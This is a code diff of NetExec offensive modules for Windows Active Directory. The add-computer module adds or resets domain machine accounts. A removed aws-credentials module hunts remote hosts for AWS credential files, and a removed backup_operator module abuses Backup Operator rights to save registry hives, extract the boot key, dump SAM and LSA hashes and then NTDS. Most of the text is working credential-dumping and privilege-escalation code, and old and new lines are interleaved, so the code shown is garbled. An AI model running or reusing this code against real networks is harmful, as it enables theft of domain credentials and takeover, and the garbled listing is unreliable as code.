searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldap_connection.search(
connection.ldapConnection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -70,10 +70,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
if "noSuchObject" in str(e):
context.log.fail("No ADCS infrastructure found.")
else:
context.log.fail(f"Obtained unexpected exception: {e}")
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
+255 -228
View File
@@ -1,275 +1,302 @@
import ssl
import ldap3
import sys
from impacket.dcerpc.v5 import samr
from impacket.ldap.ldap import LDAPSessionError, MODIFY_REPLACE
from nxc.helpers.misc import CATEGORY
from nxc.helpers.rpc import NXCRPCConnection
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Refactored to use impacket LDAP CRUD operations instead of ldap3.
Initial module:
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
name = "add-computer"
description = "Adds or deletes a domain computer via SAMR (SMB) or LDAP"
supported_protocols = ["smb", "ldap"]
category = CATEGORY.PRIVILEGE_ESCALATION
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
def options(self, context, module_options):
"""
add-computer: Adds, deletes, or changes the password of a domain computer account.
Uses SAMR when invoked with nxc smb.
NAME Computer name (required). Trailing '$' is added automatically.
PASSWORD Computer password (required for add/changepw).
DELETE Set to delete the computer account.
CHANGEPW Set to change an existing computer's password.
Usage (same syntax for ldap):
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
add-computer: Specify add-computer to call the module using smb
NAME: Specify the NAME option to name the Computer to be added
PASSWORD: Specify the PASSWORD option to supply a password for the Computer to be added
DELETE: Specify DELETE to remove a Computer
CHANGEPW: Specify CHANGEPW to modify a Computer password
Usage: nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password1"
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.delete = "DELETE" in module_options
self.change_pw = False
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
if "CHANGEPW" in module_options:
if "NAME" not in module_options or "PASSWORD" not in module_options:
context.log.error("NAME and PASSWORD options are required for CHANGEPW!")
sys.exit(1)
self.change_pw = True
if "DELETE" in module_options:
self.__delete = True
if "NAME" not in module_options:
if "CHANGEPW" in module_options and ("NAME" not in module_options or "PASSWORD" not in module_options):
context.log.error("NAME and PASSWORD options are required!")
sys.exit(1)
elif "CHANGEPW" in module_options:
self.__noAdd = True
if "NAME" in module_options:
self.__computerName = module_options["NAME"]
if self.__computerName[-1] != "$":
self.__computerName += "$"
else:
context.log.error("NAME option is required!")
sys.exit(1)
self.computer_name = module_options["NAME"]
if not self.computer_name.endswith("$"):
self.computer_name += "$"
if "PASSWORD" in module_options:
self.computer_password = module_options["PASSWORD"]
elif not self.delete:
self.__computerPassword = module_options["PASSWORD"]
elif "PASSWORD" not in module_options and not self.__delete:
context.log.error("PASSWORD option is required!")
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if connection.args.protocol == "smb":
self._do_samr()
elif connection.args.protocol == "ldap":
self._do_ldap()
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
def _db_remove_credential(self):
try:
db = self.context.db
domain = self.connection.domain
rows = db.get_user(domain, self.computer_name) if hasattr(db, "get_user") else db.get_credentials(filter_term=self.computer_name)
db.remove_credentials([row[0] for row in rows])
except Exception as e:
self.context.log.debug(f"Could not remove credentials from DB: {e}")
# First try to add via SAMR over SMB
self.do_samr_add(context)
def _db_add_credential(self):
self.context.db.add_credential("plaintext", self.connection.domain, self.computer_name, self.computer_password)
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
def _do_samr(self):
try:
dce = NXCRPCConnection(self.connection).connect(r"\samr", samr.MSRPC_UUID_SAMR)
except Exception as e:
self.context.log.fail(f"Failed to connect to SAMR: {e}")
return
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
try:
self._samr_execute(dce, self.connection.conn.getRemoteName())
finally:
dce.disconnect()
Args:
----
context (object): The context object.
def _samr_execute(self, dce, target_name):
domain = self.connection.domain
Returns:
-------
None
"""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost is not None else string_binding
serv_handle = samr.hSamrConnect5(dce, f"\\\\{target_name}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)["ServerHandle"]
domains = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)["Buffer"]["Buffer"]
non_builtin = [d for d in domains if d["Name"].lower() != "builtin"]
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
if len(non_builtin) > 1:
matched = [d for d in domains if d["Name"].lower() == domain.lower()]
if len(matched) != 1:
self.context.log.fail(f"Domain '{domain}' not found. Available: {', '.join(d['Name'] for d in domains)}")
return
selected = matched[0]["Name"]
if hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash, self.__nthash, self.__aesKey)
rpc_transport.set_kerberos(self.__doKerberos, self.__kdcHost)
dce = rpc_transport.get_dce_rpc()
if self.__doKerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
dce.connect()
dce.bind(samr.MSRPC_UUID_SAMR)
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected = non_builtin[0]["Name"]
selected_domain = domains_without_builtin[0]["Name"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected)["DomainId"]
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
try:
if self.delete or self.change_pw:
user_handle = self._samr_open_existing(dce, domain_handle, selected, self.connection.username)
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
else:
user_handle = self._samr_create(dce, domain_handle, self.connection.username)
if user_handle is None:
return
if self.delete:
samr.hSamrDeleteUser(dce, user_handle)
user_handle = None
self.context.log.highlight(f"Successfully deleted the '{self.computer_name}' Computer account")
self._db_remove_credential()
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.computer_password)
if self.change_pw:
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
else:
user_handle = self._samr_set_workstation_trust(dce, domain_handle, user_handle)
self.context.log.highlight(f"Successfully added '{self.computer_name}' with password '{self.computer_password}'")
self._db_add_credential()
finally:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.noLDAPRequired = True
user_handle = None
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.noLDAPRequired = True
if user_handle is not None:
samr.hSamrCloseHandle(dce, user_handle)
samr.hSamrCloseHandle(dce, domain_handle)
samr.hSamrCloseHandle(dce, serv_handle)
if domain_handle is not None:
samr.hSamrCloseHandle(dce, domain_handle)
if serv_handle is not None:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def _samr_set_workstation_trust(self, dce, domain_handle, user_handle):
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
samr.hSamrCloseHandle(dce, user_handle)
new_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, new_handle, req)
return new_handle
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
def _samr_open_existing(self, dce, domain_handle, selected_domain, username):
try:
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"'{self.computer_name}' not found in domain {selected_domain}")
else:
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
try:
access = samr.DELETE if self.delete else samr.USER_FORCE_PASSWORD_CHANGE
return samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_ACCESS_DENIED" in str(e):
action = "delete" if self.delete else "change password for"
self.context.log.fail(f"{username} does not have the right to {action} '{self.computer_name}'")
else:
self.context.log.fail(f"Error opening {self.computer_name}: {e}")
return None
Returns:
-------
None
def _samr_create(self, dce, domain_handle, username):
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.computer_name])
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
return None
except samr.DCERPCSessionError as e:
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Error looking up {self.computer_name}: {e}")
return None
try:
# Doing this call manually because of weird exception handling in https://github.com/fortra/impacket/blob/084aff60df7e8a5784bee3fb6ac74ed9d1362af8/impacket/dcerpc/v5/samr.py#L2591-L2599
request = samr.SamrCreateUser2InDomain()
request["DomainHandle"] = domain_handle
request["Name"] = self.computer_name
request["AccountType"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
request["DesiredAccess"] = samr.USER_FORCE_PASSWORD_CHANGE
return dce.request(request)["UserHandle"]
except samr.DCERPCSessionError as e:
if "STATUS_USER_EXISTS" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{username} does not have the right to create a computer account")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"{username} exceeded the machine account quota")
else:
self.context.log.fail(f"Error creating computer: {e}")
return None
def _do_ldap(self):
name = self.computer_name.rstrip("$")
computer_dn = f"CN={name},CN=Computers,{self.connection.baseDN}"
if self.delete:
self._ldap_delete(self.connection.ldap_connection, computer_dn)
elif self.change_pw:
self._ldap_change_password(self.connection.ldap_connection, computer_dn)
else:
self._ldap_add(self.connection.ldap_connection, computer_dn, name)
def _ldap_delete(self, ldap_conn, dn):
try:
ldap_conn.delete(dn)
self.context.log.highlight(f'Successfully deleted the "{self.computer_name}" Computer account')
self._db_remove_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to delete "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to delete "{self.computer_name}": {e}')
def _ldap_change_password(self, ldap_conn, dn):
try:
encoded_pw = f'"{self.computer_password}"'.encode("utf-16-le")
ldap_conn.modify(dn, {"unicodePwd": [(MODIFY_REPLACE, encoded_pw)]})
self.context.log.highlight(f"Successfully changed password for '{self.computer_name}'")
self._db_add_credential()
except LDAPSessionError as e:
if "noSuchObject" in str(e):
self.context.log.fail(f'Computer "{self.computer_name}" was not found')
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f'Insufficient rights to change password for "{self.computer_name}"')
elif "unwillingToPerform" in str(e):
self.context.log.fail(f'Server unwilling to change password for "{self.computer_name}"')
else:
self.context.log.fail(f'Failed to change password for "{self.computer_name}": {e}')
def _ldap_add(self, ldap_conn, dn, name):
fqdn = f"{name}.{self.connection.domain}"
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{name}",
f"HOST/{fqdn}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{fqdn}",
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
c.bind()
try:
ldap_conn.add(
dn,
["top", "person", "organizationalPerson", "user", "computer"],
{
"dnsHostName": fqdn,
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.computer_name,
"unicodePwd": f'"{self.computer_password}"'.encode("utf-16-le"),
},
)
self.context.log.highlight(f'Successfully added "{self.computer_name}" with password "{self.computer_password}"')
self._db_add_credential()
except LDAPSessionError as e:
if "entryAlreadyExists" in str(e):
self.context.log.fail(f"Computer '{self.computer_name}' already exists")
elif "insufficientAccessRights" in str(e):
self.context.log.fail(f"Insufficient rights to add '{self.computer_name}'")
elif "unwillingToPerform" in str(e):
self.context.log.fail("Server unwilling to perform")
elif "constraintViolation" in str(e):
self.context.log.fail(f"Constraint violation for '{self.computer_name}'. Quota exceeded or password policy.")
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
else:
self.context.log.fail(f"Failed to add '{self.computer_name}': {e}")
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
else:
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
-50
View File
@@ -1,50 +0,0 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
Module by Fortress
"""
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
def options(self, context, module_options):
r"""
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
Default: "'/home/' '/tmp/'"
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
"""
if "SEARCH_PATH_LINUX" in module_options:
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
if "SEARCH_PATH_WIN" in module_options:
self.search_path_win = module_options["SEARCH_PATH_WIN"]
def on_login(self, context, connection):
# search for aws_credentials-related files on linux systems
if "ssh" in context.protocol:
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
output = connection.execute(search_aws_creds_files_cmd)
else:
# search for aws_credentials-related files on windows systems
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
output = connection.execute(search_aws_creds_files_cmd_win, True)
if output:
context.log.success("The following files were found:")
for line in output.splitlines():
context.log.highlight(line.rstrip())
-294
View File
@@ -1,294 +0,0 @@
import contextlib
import re
from binascii import unhexlify
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import rrp
from nxc.helpers.misc import CATEGORY, gen_random_string
from nxc.helpers.rpc import NXCRPCConnection
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.local_admin = None
self.local_admin_hash = None
self.machine_account = None
self.machine_account_hash = None
self.cleanup_user = None
self.cleanup_hash = None
self.system_hive_saved = False
def options(self, context, module_options):
"""NO OPTIONS"""
def get_boot_key(self, context, dce):
"""
Reads the boot key LIVE from the four Lsa subkeys' class-name field over RPC,
using the already-connected `dce` this module sets up for the SAM/SECURITY
hive saves. If this succeeds, no SYSTEM hive is ever saved to SYSVOL or
downloaded at all.
Hand-ported from impacket's RemoteOperations.getBootKey() rather than calling
RemoteOperations directly, because RemoteOperations.enableRegistry() starts the
RemoteRegistry service via the Service Control Manager -- which needs admin-level
rights a plain Backup Operator doesn't have. This module already gets
RemoteRegistry running via trigger_winreg()'s named-pipe trick instead, which
works within Backup Operator's actual privileges (SeBackupPrivilege), so we reuse
that connection here.
Raises on any failure (access denied, path not allowed remotely, RPC error, etc.)
so the caller can fall back to the full SYSTEM hive save/download path.
"""
boot_key = b""
ans = rrp.hOpenLocalMachine(dce)
reg_handle = ans["phKey"]
for key in ["JD", "Skew1", "GBG", "Data"]:
context.log.debug(f"Retrieving class info for Lsa\\{key}")
ans = rrp.hBaseRegOpenKey(
dce,
reg_handle,
f"SYSTEM\\CurrentControlSet\\Control\\Lsa\\{key}",
dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK,
samDesired=rrp.KEY_READ,
)
key_handle = ans["phkResult"]
ans = rrp.hBaseRegQueryInfoKey(dce, key_handle)
class_out = ans["lpClassOut"]
if isinstance(class_out, str):
class_out = class_out.encode()
boot_key += class_out[:-1]
rrp.hBaseRegCloseKey(dce, key_handle)
rrp.hBaseRegCloseKey(dce, reg_handle)
transforms = [8, 5, 4, 2, 11, 9, 13, 3, 0, 6, 1, 12, 14, 10, 15, 7]
boot_key = unhexlify(boot_key)
final_boot_key = b""
for i in range(len(boot_key)):
final_boot_key += boot_key[transforms[i]:transforms[i] + 1]
return final_boot_key
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
rand_suffix = gen_random_string(8)
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
dce = NXCRPCConnection(connection).connect(r"\winreg", rrp.MSRPC_UUID_RRP)
boot_key = None
try:
# Large hives can take minutes to save before the RPC call returns.
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
for hive in ["HKLM\\SAM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
try:
context.log.display("Attempting to retrieve boot key live from the remote registry...")
boot_key = self.get_boot_key(context, dce)
context.log.highlight("Boot key retrieved live -- skipping SYSTEM hive save/download.")
except Exception as e:
context.log.fail(f"Live boot key retrieval failed ({type(e).__name__}: {e}), falling back to full SYSTEM hive download...")
boot_key = None
if boot_key is None:
hRootKey, subKey = self._strip_root_key(dce, "HKLM\\SYSTEM")
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}_{rand_suffix}"
context.log.debug("Dumping HKLM\\SYSTEM, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved HKLM\\SYSTEM to {outputFileName}")
self.system_hive_saved = True
except Exception as e:
context.log.fail(f"Couldn't save HKLM\\SYSTEM: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
connection.conn.setTimeout(connection.args.smb_timeout)
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
connection.conn.setTimeout(max(connection.args.smb_timeout, 60))
hives_to_download = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives_to_download.append("SYSTEM")
for hive in hives_to_download:
connection.get_file_single(f"{hive}_{rand_suffix}", log_path + hive)
connection.conn.setTimeout(connection.args.smb_timeout)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.local_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
if len(fields) >= 4:
self.local_admin = fields[0]
self.local_admin_hash = fields[3]
def parse_lsa(secret_type, secret):
context.log.highlight(secret)
if self.machine_account:
return
for line in secret.splitlines():
match = re.search(r"aad3b435b51404eeaad3b435b51404ee:([0-9a-f]{32})", line, re.IGNORECASE)
if match:
self.machine_account_hash = match.group(1)
account_name = line.split(":", 1)[0].strip().split("\\")[-1]
# "$MACHINE.ACC" has no real name -> derive it from the connection.
self.machine_account = account_name if account_name.endswith("$") else f"{connection.hostname}$"
return
if boot_key is None:
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=parse_sam)
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=parse_lsa)
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
dump_creds = None
for username, user_hash in [(self.machine_account, self.machine_account_hash), (self.local_admin, self.local_admin_hash)]:
if self._try_dump_ntds(connection, context, username, user_hash):
dump_creds = (username, user_hash)
break
if dump_creds:
self.cleanup_user, self.cleanup_hash = self._extract_da_hash(connection.output_filename, context)
if not self.cleanup_user or not self.cleanup_hash:
self.cleanup_user, self.cleanup_hash = dump_creds
self._perform_cleanup(connection, context, self.cleanup_user, self.cleanup_hash, rand_suffix)
else:
context.log.fail("Failed to obtain suitable credentials for NTDS dump or cleanup.")
self._print_cleanup_warning(context, rand_suffix)
def _try_dump_ntds(self, connection, context, username, user_hash):
if not username or not user_hash:
return False
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
try:
context.log.display(f"Dumping NTDS using {username}...")
connection.ntds()
return True
except Exception as e:
context.log.fail(f"Fail to dump the NTDS with {username}: {e!s}")
return False
def _perform_cleanup(self, connection, context, username, user_hash, rand_suffix):
if not username or not user_hash:
self._print_cleanup_warning(context, rand_suffix)
return
context.log.display(f"Using {username} to clean up files...")
with contextlib.suppress(Exception):
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, username, user_hash):
context.log.display(f"Cleaning dump with user {username} on domain {connection.domain}")
hives = ["SAM", "SECURITY"]
if self.system_hive_saved:
hives.append("SYSTEM")
all_deleted = True
for hive in hives:
remote_name = f"{hive}_{rand_suffix}"
try:
connection.conn.deleteFile("SYSVOL", remote_name)
context.log.debug(f"File {remote_name} deleted successfully via SMB.")
except SessionError as e:
if "STATUS_NO_SUCH_FILE" in str(e):
context.log.debug(f"File {remote_name} already removed or not found.")
continue
